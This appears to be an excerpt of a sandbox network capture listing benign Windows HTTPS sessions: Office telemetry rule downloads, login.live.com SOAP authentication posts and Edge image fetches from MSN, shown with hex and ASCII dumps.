2024-11-25 13:14:56 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:55 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:56 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: d599eecb-401e-0083-1bb7-3e075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131456Z-178bfbc474bw8bwphC1NYC38b400000007c0000000006xx3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:56 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49897	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:56 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 13:14:56 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 13:14:56 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 13:13:56 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 4c98bee6-53d2-4303-9b27-ee46da46d60e PPServer: PPV: 30 H: BL02EPF0001D7AD V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 13:14:55 GMT Connection: close Content-Length: 1918
2024-11-25 13:14:56 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:56 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:56 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 05eafd34-a01e-00ab-40c7-3e9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131456Z-178bfbc474bwh9gmhC1NYCy3rs00000007eg00000000h96f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:56 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49899	104.117.182.27	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:56 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:57 UTC	547	IN	HTTP/1.1 200 OK Last-Modified: Sat, 16 Nov 2024 01:10:29 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=311448 Expires: Fri, 29 Nov 2024 03:45:44 GMT Date: Mon, 25 Nov 2024 13:14:56 GMT Connection: close
2024-11-25 13:14:57 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:58 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:58 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131458Z-174c587ffdfmrvb9hC1TEBtn38000000061g000000005g8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:58 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:58 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:58 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8d306870-001e-0049-49bf-3e5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131458Z-178bfbc474brk967hC1NYCfu60000000076g00000000fgr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:58 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49902	13.107.246.63	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:58 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:58 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: b3049c5e-001e-0082-330c-3d5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131458Z-178bfbc474bbcwv4hC1NYCypys00000007eg000000002rrz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:58 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:58 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:58 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 00606c4f-d01e-0014-08c3-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131458Z-15b8b599d88phfhnhC1TEBr51n000000061g00000000eqsv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:58 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49908	104.117.182.27	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:58 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:58 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Thu, 14 Nov 2024 00:11:17 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: 0a087112-3395-4d02-ae01-0e8f96fd1a66 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=212160 Expires: Thu, 28 Nov 2024 00:10:58 GMT Date: Mon, 25 Nov 2024 13:14:58 GMT Connection: close
2024-11-25 13:14:58 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49905	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:58 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 13:14:58 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 13:14:59 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 13:13:59 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 72ddfec5-2a7e-4266-8b32-ead6a9eae957 PPServer: PPV: 30 H: BL02EPF0001D882 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 13:14:58 GMT Connection: close Content-Length: 1918
